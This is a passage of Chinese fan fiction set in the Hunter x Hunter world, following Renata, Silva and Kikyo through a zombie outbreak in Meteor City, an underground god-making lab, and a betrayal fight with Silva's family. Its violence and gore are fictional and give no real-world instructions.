三个人在草坪上休息。
基裘的攻击没有规律，大部分都是摸索出来的，但胜在身手老练，抓不出什么错处。席巴似乎训练过，知道每一处的发力点，通过肌肉状态、呼吸频率来判断对方目标。
几天下来蕾娜塔也摸清了对方的手段。
“席巴，你是自己找的师父教你吗？”
“家里安排的，他们可是一直把我当杀手培养，还告诉我当不成好杀手的揍敌客可不是好揍敌客。”席巴着重强调杀手两个字，又伸出变成利爪的手随意摆弄，像是某种佐证一般。
他垂下眼眸，带着些微不可察的情绪，想要知道蕾娜塔的反应是否和他想的一样。
“什么，原来你是杀手吗？”蕾娜塔捂住嘴巴，不可置信地打量着面前十二岁的少年。“你才十几岁吧？这么早就学会杀人了？你家里对你也太残忍了吧。”
“什么叫做我才十几岁，你这家伙看上去和我一样大，不要以貌取人好吗？！”席巴炸毛，手恢复原样，原先成熟的模样一挥而散。“你在工厂杀人的时候可没见你说残忍啊！”
“什么意思啊，这和杀手能一样吗，我是不得已而为之的好吗！”
“那不还是杀了！”
两个人都不服气地瞪着对方，颇有谁先移开视线谁是狗的架势。
“噗嗤。”
基裘坐在对面看着他们俩大眼瞪大眼的样子忍不住笑出声。
“基裘，你到底是不是站在我这边的！”
“基裘你别理这个臭小子，一看就是家里人给他惯坏了。”
两个人都默契地看向基裘，说完话后又默契地别过头不看对方。
“也不知道是某个家伙在工厂里动弹不得，差点就没命了。”
“也不知道是谁的猫跑到我这里不要她了。”
“你！”
“好啦好啦。两个人都很厉害。”基裘麻利拆开两个巧克力球快速堵住两人的嘴。顺便把水端平。
“唔唔唔。”蕾娜塔还想说什么，但对上基裘的笑脸，就着化开的巧克力把话咽下嗓子眼。
她瞟了一眼别过头的席巴，又看向笑盈盈的基裘。
他们在某些时刻非常默契，也非常相像。
“基裘和席巴是怎么认识的？”
“嘛这个嘛，是在一个夜晚……”基裘缓缓道来。
七八岁的基裘每天都在生死线上挣扎，为了活下去只能拼命打倒眼前的阻碍，不断变强。
直到那天她被埋伏，四五个人死死压着她的身体无法动弹，而指挥这群人的是这小片垃圾山的头，很早就看她不爽了。
弱肉强食是流星街的常态，她怨不得任何人。
正当她以为自己的生命要结束的时候。
面前的男人瞪大双眼死死盯着胸口突然出现的一个洞。失去了头头的小弟见状也作鸟兽散，留下无力而趴倒在地的她。
隔着交错的血肉，她对上了一双冷漠无机质的眼眸。
那是来自上位者对她的蔑视，对身为弱者无能为力的怜悯，那是多么多么美妙的眼睛，她冰冷的血液因此而不断沸腾。
只是一眼，基裘握紧拳头，暗暗发誓要打败这样的强者。
基裘双手捂脸，陶醉在那个夜晚。
“……”蕾娜塔沉默了，所以基裘变成这样的好战分子是席巴的原因？她给席巴递了一个谴责的眼神。
席巴抱着手臂，听着基裘和蕾娜塔的对话。其实他也不知道有这一段，原来很久之前他就见过基裘了吗？
对他来讲那个男人只是一个拿钱办事的任务对象，任务目标以外的他压根没注意。
这些对他来讲都不重要就是了。
接受到蕾娜塔的信号，他挑眉，眼神里是明晃晃的沉默。
席巴：你觉得我知道吗？
蕾娜塔：……该说不愧是操作系吗？
席巴：操作系是这样的吗？
蕾娜塔：……应该？
几个眼神来回下来，基裘也回过神。
“光顾着自己了。”她歉意地递上巧克力球。
有甜滋滋的糖果什么都是小事，蕾娜塔就当她不知道，什么都没发生过，非常大方地收下。
“小孩子才吃的东西，你给她吧。”席巴对甜食不感兴趣，一颗吃了就够了，他不太习惯巧克力甜腻的口感。
像是某种化不开的情绪，又像是隐喻某种微妙的关系。
他选择拒绝。
蕾娜塔照单全收。
虽然他说她是小孩子，但看在巧克力球的份上，蕾娜塔就不和他计较。这种比小孩子还小孩子的事情她才不做。
天色不早了，他们也要回去了。她和基裘还要去喂猫呢。
为了防止上次在巷子里被袭击的事情再次出现，基裘就把整个猫窝搬到她的集装箱附近了。
屋顶上趴着几只懒洋洋的大猫，慵懒地晒着最后的灿阳。两三只小猫在草丛里窜来窜去。
一只白猫迈着优雅的步子窝在蕾娜塔的怀里。
“小野这孩子把猫扔给我自己就跑了。”基裘把烹饪过并且处理好的肉食放在每只小猫的专属碗里，埋怨道。
一到饭点小猫一窝蜂的就跑来了。
“要是被他知道猫猫被坏人袭击，指不定要和我又哭又闹。”她拍拍手上的碎渣。
“不过还好，他看不见。”她安慰自己，抚摸着手下的橘猫。
这是小野最喜欢的一只。
蕾娜塔不知道说什么，再多的话语来安慰都显得苍白，只是一个劲的撸猫，感受手下的柔软。
这一次不是三毛那只变脸猫，她要重新夺回属于她的一切。
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她对这种毛茸茸完全不可抵抗，初撸上瘾，再撸倾心。世界没了毛茸茸可怎么转啊。
那只、只能拐走一只了。
蕾娜塔恶向胆边生。
为了防止偏心，蕾娜塔放下怀里的猫。
“你们哪只小猫咪想和我走呀。”
蕾娜塔伸出手，期待猫咪的回应。
几只猫咪滚成一团，从她怀里下来的那只跑到床上舔自己的毛，其余在吃饭的猫咪没有一只抬头看她。
什、什么？无猫在意！这怎么可以！
为什么！？说好的喜欢我呢？
这时候一只看起来出生不久的小黑猫颤颤巍巍地站起来了，伸出粉嫩的小舌头舔舔蕾娜塔的手背，睁着碧蓝的双瞳，格外的无辜和可爱。
蕾娜塔福至心灵。
这种感觉！是命定的安排吗？
就决定是你了。
蕾娜塔生怕小黑猫后悔，抱在怀里就是跑，一边跑一边说：“好了和你的姐姐妹妹哥哥弟弟说再见，进了我的家就是我的猫了。”
蕾娜塔这是变成猫拐子了？
基裘在原地不知所措。
“喵？”小猫不知道发生了什么，它的爪子抓着蕾娜塔的领子，柔软的毛发蹭着蕾娜塔的脸。
“我就知道你同意了，以后你就是最最最享福的猫猫，全天下的猫猫也没有你这般享福，遇到我你算是遇到福神了。以后你就叫小黑吧。”蕾娜塔轻柔地抓着小黑的两个爪，在小黑的肚皮里猛蹭。
目睹了全过程的席巴：……
看不出来，她还是个猫拐子。
趴在席巴肩头的三毛无聊地舔了舔爪子。
蕾娜塔一脸满足地从小黑的毛绒绒抬起头，就看到了一旁走过的席巴。
……其实她只是很喜欢猫咪而已。才不是什么猫拐子！！喜欢猫咪有什么错！
“席巴，你找我什么事情吗？”她轻咳一声，把猫咪放在怀里。
“我是来找基裘的。”
“那挺巧的。哈哈。我刚从基裘那回来。”她尴尬笑笑，打个招呼，快步回到了她的房间。
被看到了。可恶。
这边的基裘刚喂好猫咪，碰上了站在阴影处的席巴。
“你拜托我调查的小野可能没死。”席巴开门见山道。
“在哪？”基裘瞳孔紧缩，双手握拳止不住地颤抖，迫不及待地想要知道答案。“他们怎么可以…”
只是过了两三秒，在她确定了某件事情后她又平静下来了。
她那天亲手捡起的残肢，那样子存活下来的小野，处境也不言而喻。一切情绪都在过长刘海的遮掩下晦暗不清。
黑与蓝的眼眸的碰撞就像火花，一瞬间就消失了。
呆在暗处的席巴就像耐心等待猎物上钩的猎手，天蓝色的眼眸不含一丝温情。
“你所伪装的目的不也和我一样吗？”席巴没有回答基裘的问题，他反问道。
他们天生呆在黑暗里。
没有人比他们更懂彼此的想法。
不是吗？
基裘看着脚边的猫咪，她蹲下去，把垂落的刘海撩到耳后，随后抱起猫咪，低声笑起来。
对，就是这样的眼神，就应该是这样。
他们是互相明了的搭档。
“成交。”
9. 小一×丧尸×小野
枯败的枝叶在秋风里打转。
最近流星街的人少了好多，不知道是不是因为快入秋了。
不过另一方面说明蕾娜塔离开流星街的日子又迈出了一大步，她现在可是足足拥有1亿戒尼的小富婆。
等她出了流星街，周游完人类大陆，顺带找一下东。再找到一个风景宜人的地方买下一套房子，然后带着小黑安安稳稳地过上幸福生活。空闲的时候再找几个朋友一起开茶话会。
想想这样的日子就美美的。
蕾娜塔随手拆了两颗巧克力球，一颗塞到自己嘴里，一颗塞到小黑嘴里。
席巴和基裘也不知道在忙什么，都看不到人影。但又在她需要的时候恰好出现。
这就是他们搭档的默契吗？
“嘭嘭嘭。”门外不知道是谁在敲打。
“来了来了。”蕾娜塔把猫放在一旁，起身下床，穿上自己的拖鞋，快步走到门口拧开门把手。
她没看错吧？
她微微张大嘴巴，有些迟疑地出声。
“小一？”
“是我、姐姐。”面前的男孩吐字艰难，嗓音带着莫名的嗬嗬声，蜡黄的脸带着些惨白，棕黄的瞳色更接近枯叶的颜色。
有点奇怪。
她说不上哪里的怪。
“你一个人逃出来了？”蕾娜塔双手搭在他的肩膀上，把他从上到下看了一遍。
体温有点低。
衣服太宽大反倒看不出伤口。
“嗯、很危险、但是、有人帮助、我。”小一的眼眸清晰地倒映出蕾娜塔的脸，一字一顿地认真道。“能、见到、姐姐、真的是、太好了。”
“伤好了吗？还痛吗？”蕾娜塔收回手。
“不痛。”
“你还记得抓你的是什么人吗？”
“是、是。”像是触发了某种开关，少年平静的表情变得扭曲。惨白的皮肤也开始簌簌掉落碎片，露出下面腐烂的皮肉和扭动的蛆。
等等，正常人怎么可能会生蛆啊！这是死了很久的尸体吧！这完全不是自己逃出来，而是被别人放出来吧！
“这个靴子还给你。”她快速捡起门口的靴子就往小一的怀里塞。
看到靴子总可以想起来什么吧，不要再掉皮肤碎片了，就算走廊不是她扫，她也会膈应的好吗。
少年停止了动作，瞳孔涣散的双眼无神地盯着蕾娜塔。“这是、我、送给、你的。”说着就要把靴子推回来。
好诡异。一想到在和尸体说话，一阵恶寒爬上她的脖子，她摸了摸自己的手臂。
“不用了不用了，我已经买了更好的靴子了。”蕾娜塔连连摆手，指了指旁边的鞋柜。
小一朝下看，果然是一双比他的更漂亮的靴子。
“这样、吗。”他失落地抱着靴子走开了。
如果不是头前倾，肩膀大幅度上下，左右腿不协调这样子走的话。
完全比黑暗大陆的生物还要可怕啊，人不人，鬼不鬼的。
你们人类还有什么惊吓是我不知道的。
小一一走，蕾娜塔就立马锁上门，再把窗帘拉上。她抱紧小黑，生怕再看见这种生物。
太污染她的眼睛了。
小黑从她的怀里挣脱出来，跳到地上冲着门口喵喵叫。
“有人来了吗？”蕾娜塔拉开门缝往外看了一眼。
小黑跳到了她的肩膀上。
走廊里空空荡荡，没有一个人。远处的风在呜咽，显得额外凄凉。
正当她松了一口气关上门的时候。
一只手就顺着门缝带着她钻进去，还捂住了她的眼睛。视野一片黑暗。
！
她下意识就是朝对方来了一个肘击，对方闷哼一声。把捂住她眼睛的手下移，捂住了她的嘴巴。
“嘘。”他在她耳畔嘘声，指了指门外。
席巴？他怎么在这里？门外是和小一一样的东西吗？
嗒嗒的脚步声和□□拖行的声音在走廊里回荡，逐渐靠近蕾娜塔所处的房间。
经过门口的时候声音消失了。
走了吗？
不对。
细微的嗬嗬声隔着门传来，过了一会才彻底消失。
席巴贴近门，直到确认丧尸走远了以后，退后一步，放开捂着蕾娜塔的手。
“外面发生什么了？”蕾娜塔询问道。
“流星街出现病毒大面积感染，被感染的人成了丧尸。只有外面那层皮维持原样，里面的肉已经腐烂了，和死人差不多了吧。咬伤的人也会被感染。”席巴脸上没什么表情，仿佛这只是一件不值得一提的小事。
“基裘呢？”
“她在安全屋，我过来把你带过去。”席巴把屋里扫视了一圈，似乎还想说什么，抬眼和蕾娜塔肩上的竖瞳对上。
他别开眼催促道：“看看要带什么东西收拾一下，我们待会就走了。”
“啊好的。”
虽然不知道怎么回事，但席巴总不会害她吧。
蕾娜塔麻利地收拾完一些东西。“小黑，我们要出发啦。”她拍拍小黑的头。
“喵。”小黑亲昵地蹭蹭蕾娜塔的脸。
街道上歪七竖八倒了很多尸体，七七八八的丧尸拖着腿游荡，有的还在啃食尸体里的大脑，空气弥漫着一股腐臭。
“呜呜…”
蕾娜塔好像听到了哭声。
“席巴你听到什么声音了吗？好像是小孩的哭声。”蕾娜塔转头寻找声音的来源。
“风吹的吧。”席巴随口答道。
呜呜声更大了。
“就是小孩的哭声。”蕾娜塔分辨得出来，就在他们的不远处，漏出了红色的衣角。
几个丧尸围着七八岁大的身着红色衣服的男孩。男孩眼里滚落泪珠，止不住地发出哭咽，手里抱着橘猫，橘猫的花色和基裘所说小野最爱的橘猫花色一模一样。
那个男孩是小野吧。
“那是小野，席巴我要不救救他。”蕾娜塔扯扯席巴的衣角。
席巴显然也没想到在这里会遇到小野，他的神色不自然一瞬，极好地隐藏了起来。
“好。”他点点头。
“那你帮我看着点小黑。”蕾娜塔把小黑往席巴的怀里一放，就冲向丧尸飞快地把他们打倒，拉起男孩打横抱起就跑。
席巴跑在前头为她带路。
小野双手环住蕾娜塔的脖子，眼睛亮晶晶，一脸崇拜地看着她。
“好厉害，和基裘姐姐一样厉害。”
“那当然啦。”蕾娜塔眼角弯弯，心安理得地收下小野的夸奖。恶趣味地收起抱着小野身体的双手，让他紧紧抱住自己，等他坚持不住了再伸出手抱住他，“坐稳了哦。”
“你个坏姐姐，基裘姐姐比你好太多了。”小野控诉蕾娜塔的行为。
“哦是吗？”蕾娜塔颠了
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颠小野。
“你是好姐姐，比基裘还好的姐姐。”小野连忙改口，紧紧地抓住蕾娜塔的衣角。
“真的吗—”蕾娜塔语调拉长。
“真的，比黄金还真。”小野生怕蕾娜塔丢下自己，忙不迭的点头。
“那我相信你。”蕾娜塔应的很快。
小野长舒一口气，打算松手的时候。蕾娜塔又颠了颠。
坏姐姐！
“不要欺负小孩子呀，蕾娜塔。”基裘无奈地叹了一口气。
“基裘，你看看我给你带谁来了。”蕾娜塔把小野放到地上，再搭在小野肩膀上把他的身子转过去，让基裘看个清楚。
“小野！？”基裘睁大眼睛，显然没想到会在这里遇见他。
“基裘姐姐！”
小野扑向基裘的怀里，基裘不着痕迹地拉开和他的距离。
不远也不近。属于见到久别重逢的亲人感到不可置信所以要凑远一点仔细看看的程度。
距离的把控被她拿捏的很好。
“你这孩子跑哪去了。我和干妈一直在找你。下次再这样打断你的腿。”基裘退后一步，双手抚摸着小野的脸，眼神却往小野的腿上瞟，面无表情地说出了让小野腿寒的话。
“哈哈，这不太好吧，基裘姐姐。你看我还遇到了谁。”小野干笑几声，举起怀里的猫挡住他的脸，橘猫一脸无辜地瞪大双眼看着基裘，“是小橘哦。”
“不要把小橘当借口。要老老实实的保证哦。”基裘把橘猫往旁边拨，对上小野的眼。
碧绿的瞳色带着点暗红，专注地盯着她，明明在笑着，可眼底却是一片冷意，好似所有的秘密在他的眼中都无处遁形。
她的心头一颤，眼神不自觉地躲闪。
“好的，我知道了，基裘姐姐。”小野低下头，闷闷地说。
他知道了什么？
基裘藏在暗处的手攥紧衣角。
蕾娜塔在安全屋转了一圈。有独立的电力系统和水源，这在流星街来之不易。准备的人就好像事先知道要爆发丧尸一样。
只是原来存放物资的仓库却空空如也。
“我和基裘发现了地下实验室，那是丧尸的源头，他们预谋很久了，所以在这里打造了安全屋。”席巴看出了她的疑惑解释道。
“谁知道呢，人心不足蛇吞象，研究丧尸的这群人在物资补充前就死光了，变成了他们口中的实验体之一。”安置好小野的基裘补充。
“你们这几天就是在地下实验室搜集情报？”
“是也不是吧。”基裘目光紧紧盯着熟睡的小野，似乎是在弥补过去失去的日子。
“那我们什么时候出去，出去的计划是什么。”蕾娜塔提问。
这点丧尸对她来讲无关紧要，硬闯出去也可以，消耗不了太多精力。
就是太恶心了有点受不了。
“后天。继续去地下研究室寻找线索。那里会有我们想要的答案的。”席巴开口，十分笃定地说。
“那我明天去寻找物资？总不可能饿着孩子吧，我家猫也要吃饭的。”
“我和你—”
“我和你一起去吧。”席巴打断了基裘的话，“基裘你留在这里照顾小野，他还小，怕生。”他的声音沉稳，带着点不容置啄的意味。
基裘看了席巴一眼再看向蕾娜塔，最后看向小野。
“好的。”她的声音很轻，就像一阵叹息。
10. 巧克力球×埋葬×地下实验室
流星街变得非常安静。
各种各样的物品洒落在地。到处都是横尸遍野。少部分念能力者为了保护家园在街头斩杀丧尸。
小黑也知趣地没有叫唤，只是一个劲地蹭她。
他们要去的是流星街中心的超市，也就是蕾娜塔上次去的那家。
为了防止声音引来大片丧尸，席巴和蕾娜塔全程用手势交流。
店主走的匆忙，铁链并没有锁上，门口的靴子倒是看得眼熟。
她和席巴对视一眼，比了一个前进的手势。
两个人躲过障碍物闪身进了超市。
里面有一个孩子在窸窸窣窣地翻找东西，不管翻到什么他都扔到一边。呼吸声粗重，大喘着气。
蕾娜塔和席巴站在一旁观察。
直到翻到什么小东西，他才站起来，把那东西攥紧，贴在心口处。嗓子发出嘶哑的嗬嗬声音。很显然他已经说不出话来了。
“咔哒。”蕾娜塔不小心碰到一个易拉罐。男孩转头就看到了席巴和蕾娜塔，猛地朝蕾娜塔扑过去。
蕾娜塔后退一步看清了男孩的脸，是小一。
他的双眼发红，肤色青紫，大片血肉剥落，露出里面的白骨。
已经完全是个丧尸了。
所以她毫不留情地把他的头扭下来。
掉下的头和他手里的东西一块滚落。
“咚。”
扬起如释重负的微笑的脑袋和巧克力球碰在一起。
“丧尸是感受不到痛的。他早就死了。所以不用担心。”席巴安慰她。
……搞什么啊。
这孩子居然以为是因为我给他的巧克力球被他弄丢了才不收他的靴子吗。
蕾娜塔罕见的沉默了一会，一言不吭地打包剩下的物资。
席巴在一旁目睹了全过程，看到了蕾娜塔眼底闪过的一丝挣扎。
怪物的心也会动摇吗？
他给蕾娜塔打了个自己出去观察的手势，顺带给她一段独处的时间。
他呆在外面看着丧尸的厮杀。
可能是例外吧。
他转头，蕾娜塔已经收拾好东西出来了，交到他手上，她自己手上拎个颜色暗沉的布包。
“有什么推荐的坟场吗？”鸽血红的眼眸微眯，笑着问席巴。
席巴本能地感受到了危险的气息。比上次在斗兽场还要明显。
没有放弃的机会了。他告诉自己。
血红的夕阳染上雪白的头发，他的半张脸陷在半透明的阴影里。
他闭眼，然后睁开，回应一个温和的笑容。
“有的，我知道，等会就去吧。”
“好。”
接下来的扫荡过程中，蕾娜塔一手一尸，见尸爆头，高效解决了大部分挡路的丧尸。
死亡或许只是一个呼吸之间的事情。
但残留的东西不是。
她的表情很平静。猫咪蹭她时，她也只是摸摸它的脑袋。什么也没有说。看着手上挂着的布包发呆。
秋天的晚风是慢慢变凉的，它不像冬天刺骨的寒风，它是一点一点侵入你的认知，不断让你感受到的。
呈现枯败的绿叶从树上掉落。夏天的尾巴从她指尖溜走。
一下又一下地铲土，堆到一旁。
席巴靠在树干上，数着残阳最后消失的时间。
当最后一丝霞光告别泥土的时候，蕾娜塔结束了。
她把身上所有的巧克力球埋到土坑里。
“对不起。”
这是她说的第一句话。
“再见。”
这是最后一句。
“席巴我们走吧。”她再次扬起唇角，露出一个比哭还难看的笑脸。
“好。”席巴扫了她一眼，没有挖苦她。
“你说基裘看到我们带了那么多东西她会高兴吗？”
“会吧？”席巴不确定。
“那小野肯定会高兴的。小孩子最好哄了。也不知道基裘养在那的猫有没有感染到病毒。好担心。小野这孩子也会担心的吧…”蕾娜塔在路上拉着席巴说了一大堆碎碎念念的话。
快到安全屋她才意识到她讲了很多废话，不好意思地看着席巴。
“才发现今天话说了好多啊——”
“没事。我们去看看基裘吧。”席巴倒是不在意这些小事，他只关心他的任务计划进度。
“好。”蕾娜塔打开门，带着物资走进屋子里放下，“基裘、小野我们回来啦！”
没有得到回应。
房间一片狼藉，到处是打斗的痕迹。
她在屋子里绕了一圈，都没有看到基裘和小野的影子。
“他们应该是被实验室的人抓走了。”席巴捻起地上一缕黑色发丝脸色沉重道。
“实验室的路你熟吗？”
“熟。”
“带路吧。”蕾娜塔决定的很果断。
反正下午爆了那么多丧尸，恶心也恶心够了，也不差实验室的了。
刚好杀个痛快。
席巴带着蕾娜塔来到一座垃圾山前，右手边拉开和垃圾山连着的罐头和电脑机关。通往地下实验室的门就开了。
风在呜咽。
埋伏在地底的野兽张开了它的嘴巴。
腥臭又看不见底。
蕾娜塔和席巴踏进黑暗里，一盏接一盏的灯光亮起，晕开血色的光晕，照亮到处是残肢断臂的走廊。
再走几步，出现了一行凌乱的大字，大字下一个男人半靠在墙壁上，神情癫狂，却做出了祈祷的动作。
“神、将、永、生？”蕾娜塔念出了大字的意思。
“先不说神存不存在，但神本来就是永生的。他们不会是想造神吧。野心可真大。不过被人造出来的那还叫神吗？”蕾娜塔嘲笑道。
“他割开了自己的大动脉。”席巴通过伤势判断出男人的死因。“其他位置没有出血点，估计是他临死前用自己的血写的。”
在血色的灯光下，血字就像一摊墨字。
他看着墙上凝固的血迹摩挲着下巴思考。
人造伪神？
是谁？
蕾娜塔先一步迈开步子，离开这个无聊的地方。席巴过了几秒才跟上。
“走廊的尽头是一个实验室，在实验室里面有一个单独的电梯，不受这里的电力情况影响。”
蕾娜塔快步走进实验室，空气里充斥着难闻的消毒水味道，柜台上东倒西歪放着人体器官标本，各种语言的资料铺天盖地。中央位置手术床上的固定器被大力破坏，留下一摊血迹。
席巴拿起地上的资料阅读。
沿着这些线索，他隐隐约约猜到了什么。
现在有一个二选一的难题摆在他面前。可能也算不上二选一。
在离开的那一刻，他就选好了。
为了家族的利益，必要的舍弃是应该的。
他压下皱起的眉头，不动声色地看向前方一无所知的少女。
哪怕是搭档，哪怕是朋友。
都可以为揍敌客的利益让位。
况且他们也说了，看在他未来继承人的面子上，不会对蕾娜塔怎么样。
他把手抚上心口告诉自己。
在等待电梯的间隙，蕾娜塔翻到了一本被烧毁的差不多的日记。
“4.10我们发现了一只来自黑暗大陆的红眼生物，拥
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有超强的自愈能力。它的血液还对摄入过的生物具有吸引力和同化性。简直就像神明一般的存在。”
“8.27我们的造神计划非常成功。融合了黑暗大陆基因的神1非常完美，神2部分残缺。他们都有生前的记忆，我们正在想办法抹掉。神明是不允许有俗世的记忆的。”
“9.10神2居然在关键转化时刻失败了，快要变成丧尸。我们把他处理了。”
“9.11神1失控，他要去寻找他的家人，我们控制不了。难道造神计划就此终结了吗？我不甘心。”
中间神1神2的原始资料被撕走了。
只有最后一页鲜明的血字。
“快逃！！。”
造神被反噬了。还是拿黑暗大陆的生物融的基因，实验体存活下来已经算不错了。
蕾娜塔把日记扔到一边。
“席巴，电梯到了我们走吧。”她转头看去，空无一人。
“席巴？”只剩她的声音在实验室回荡。
“小黑你看到席巴了吗？”
小黑睁着无辜的大眼睛看着她。
“席巴一个人应该没事。那我们先走吧。”
“喵。”
基裘还在下面呢。
电梯一开门，她看到了怀里抱着小野倒在地上的基裘。身旁还有一个女人的尸体。这个女人她见过，是超市的老板。
大片大片的血迹在基裘的身下晕染开，她的黑发也在血液里飘浮。
不知道是基裘的血还是那个女人的。
不过确实就在下面。找的很省力。
“基裘你又要死了吗。这样子真难看。”蕾娜塔避开血迹晕染的地方凑近基裘的身旁。
“不要嘲笑我啦。蕾娜塔。”基裘有气无力地回应。
“小野呢？他还活着吗。”蕾娜塔弯腰戳戳基裘怀里的男孩。
“他死了，”基裘有一下没一下地抚摸着小野的脑袋，梳理掉他头发上的血块，就像他们儿时那样亲密无间，“被我杀的。”
“为什么杀了他。”蕾娜塔歪头。
“他只是有着小野记忆的怪物，他不是我的小野。”基裘的眼角滑下一滴泪，混在血泊中“都是我的疏忽才让他杀了干妈。”
蕾娜塔瞥了一眼旁边的女尸，上面的受击痕迹全是基裘的惯用招式。
真没用呢，哪怕是喝了她的血。还是陷入幻觉了。
还在错乱的幻觉里亲手杀死了最爱的两个人。
真可怜。
知道真相的时候不知道会不会疯呢。蕾娜塔轻轻勾起嘴角。
“那你还要活吗？基裘，你知道的，我可以帮你哦，就像那个晚上——”她食指从基裘的额头划到鼻尖，再停留在基裘的唇上。她的声音很轻，湿热的鼻息打在基裘的耳廓，柔软的发丝扫过基裘的脸。
带起基裘每寸皮肤的颤栗。
伊甸园的蛇吐出了信子。
基裘对上蕾娜塔的眼眸，恍惚间再次回到了那个夜晚。
香甜的味道围绕在她身边。
温热的，带着甜味的血。
和她的小猫一起。
流经了她的喉咙，胃，和全身。
他们融为一体，他们彼此相依。从灵魂深处蔓延的无与伦比的幸福。
要喝吗？
要喝吗。
她听见她的声音说。
为什么不。
他们本该就如此亲密。
墨色的眼眸染上猩红。
“乖孩子。”蕾娜塔轻笑一声，拨开基裘的发丝，在她的额间落下一吻。“作为乖孩子的奖励。”
“咔哒。”
脚步声不恰当地响起。
11. 打架×醉血×转变
蕾娜塔抬眼看去。
身着黑色锦缎旗袍的女人从阴影里走出，收起遮挡着下半张脸的蕾丝折扇。红唇似笑非笑，丹凤眼下的泪痣勾魂摄魄。
“你是谁。”蕾娜塔把基裘抱到墙角，把小黑放到基裘的怀里后，走向女人。
“我是谁这个问题重要吗？”女人手中的丝线一扯，带出了昏迷的席巴。“想要救他吗？蕾娜——”
不等女人说完，蕾娜塔冲到对方的脸上就是一拳，再抬腿踢向女人的腹部。
女人的反应也很快，把席巴扔在一旁，一个后空翻就躲过去了。顺带抄起屋子里的桌子扔向蕾娜塔。
桌子被蕾娜塔捏碎。
“小姑娘真心急。”她轻叹一声，用念控制银丝攻击蕾娜塔的后方，她在正面攻击蕾娜塔。
蕾娜塔一抬左腿，女人就知道她要出右拳，侧头躲过拳头，再给她的左腿捆住。女人的双手束缚蕾娜塔的左手。
蕾娜塔用蛮力破开，越打越觉得怪异。
为什么女人如此熟悉她的打法，甚至知道她的动作习惯。
在对战中还下意识地瞟上方几眼。是有什么东西在上面吗？
“嚓。”
很细微的一声响动从天花板上传来。
蕾娜塔刚想退后，女人的丝线就把她的右手捆住，殷红的血珠沿着银丝滚落，深深嵌入蕾娜塔的肌肉，银丝上的剧毒瞬间麻痹蕾娜塔的神经。
这可是能毒倒一头鲸鱼的剧毒。
这个小姑娘居然只是恍惚了一下。到底是什么怪物。
前些日子父亲传来的消息也没有告知他们蕾娜塔的实力。
他们只能借席巴和基裘来试探。
看来席巴的情报存在疏漏，到底还是心软了吗。
女人着控制银丝，面上的惊讶不显半分。
蕾娜塔踉跄，剧毒在体内瞬间被分解。
真讨厌。
蕾娜塔粗暴地用左手扯住丝线，顺着丝线的力道跳到女人的后方。
她原本所在的上方，天花板四分五裂，烟尘弥漫，一个身着练功服的老头踩着碎屑走出。
另一个男人从上方通过天花板的洞口跳下。
“小姑娘的感觉真准呢。”老头呵呵一笑。
两人也加入了这场战斗。
顾不得深入肌肉的银线，蕾娜塔直接一把扯出，露出狰狞的血肉，下一秒手臂又光洁如初。
“你们三打一真是太不公平了。”蕾娜塔一边躲避后方的攻击一边防住前方伸出的手嘟囔道。
三个人都不说话，一昧地抓住她的漏洞给她狠狠一击。
但这也不足以让完全蕾娜塔处于下风。
老头和女人对视一眼，心领神会，朝着昏迷不醒的席巴和无力挣扎的基裘出手。
遭了，基裘和席巴。
虽然让他们死也无所谓，但是她可是因为他们才受的伤，不可以让她白白受伤。
蕾娜塔迅速抓住基裘和席巴的衣领。小黑跳到她的头上，神智还清醒的基裘伏在蕾娜塔的背上。蕾娜塔的右手抓着席巴。
利爪穿过她的胸膛，下一刻复原。
扭断的手臂也恢复原样。
好痛好痛好痛。
好讨厌好讨厌好讨厌。
杀了他们。
“基裘，还可以行动吗？”蕾娜塔抬起腿抵挡下女人攻击的左腿，左手按住男人的右臂，脚踢开老头的腿。
见男人发出的念气攻击对她完全无效。
老头也收起用念的心思。
“勉强。”基裘环着蕾娜塔的脖子，声若细蚊，全身心抵御来自蕾娜塔血液的不断诱惑。
喝下蕾娜塔的血会对她的血产生依赖性。
蕾娜塔自己也不知道吧。
真是随心所欲。
“咬破我的肩头，把我的血喝下去。然后把席巴带走。可以做到吗？”蕾娜塔向后撤，拉开距离。
“那你呢。”
“我？”蕾娜塔闪避三人的攻击。“当然是杀了他们啊。”她的喉间发出一声声低笑。
三个令人讨厌的家伙。
要赶在她疲惫之前杀掉。
基裘咬破蕾娜塔的肩头，渴求的血液不停涌入她的喉咙。
她的理智克制着她不能喝多，在没有清楚蕾娜塔血液的特性之前，避免造成不必要的麻烦。
香甜的味道勾引她的味蕾。
灵魂深处在叫嚣着让她不要停下。
还是陷入了血液的沉沦。
“基裘？”装作昏迷的席巴睁眼发现不对劲，低声呼唤她。
蕾娜塔在席巴呼吸变化的瞬间就察觉到席巴已经醒过来。
她提前和三人拉开距离。
“醒了就把基裘带走。”蕾娜塔跳到空旷处放下席巴，把背上的基裘交到席巴怀里。
脆弱的后背暴露在三人的视野，蕾娜塔恍若未觉。
“噗哧。”血肉撕裂的声音。
“蕾娜塔！”席巴睁大眼睛，不可置信地看向蕾娜塔的身后。
两把长刀贯穿了蕾娜塔的腹部。蕾娜塔的血溅在席巴和基裘的脸上。
因为过长而露出的刀尖在月光下泛着冷光，反射出席巴紧缩的瞳孔。
黑猫的尸体掉在蕾娜塔的脚边。
这明显和他们说好的计划完全不一样。
“喊什么。又死不了。你的动作真慢。”蕾娜塔啐了一大口血，把刀尖推回。因为刀上的毒素，她的手在发抖。“看样子他们三个是你的家人吧？不解释一下吗？席巴。不过现在我可没工夫哦。要解释的话等我有空吧。”
被发现了。
席巴张了张嘴，却吐不出任何具有说服力的话语。
蕾娜塔转身，重新回到与三人的战斗中。
没了基裘和席巴的负担，蕾娜塔应对的明显轻松很多。
这个女人是操作系的，看着年轻，应该是席巴的母亲。两个男的是放出系，应该是席巴的父亲和祖父。
基裘刚才的状态又和他们之前所说陷入幻觉的状态不一样。感觉不太对劲。是因为我的血吗？
到底是怎么回事。
瞬息之间，战场的局势重回她的手中。
“席巴，跑。”
他的母亲咳出一口血，用尽全力喊出这句话，深深地看了一眼他。
席巴眼睁睁地看着，愣在原地，双脚灌了铅般沉重而无法行动。
蕾娜塔的武力让他完全生不起一丝反抗的念头。臣服是唯一的选择。
“席巴，”蕾娜塔回头叫他，顺手把长刀抛到他的手上，“选一个吧，作为你背叛我的代价。”
身体的动作快于思考。
等他接过长刀才回过神来。
“选一个？”席巴看了一眼手上的长刀，再看向蕾娜塔的身后。他的父亲、母亲、祖父无一例外都受了不同程度的伤靠在墙边昏迷。
怎么会这样。
他们的计划完全失败了。
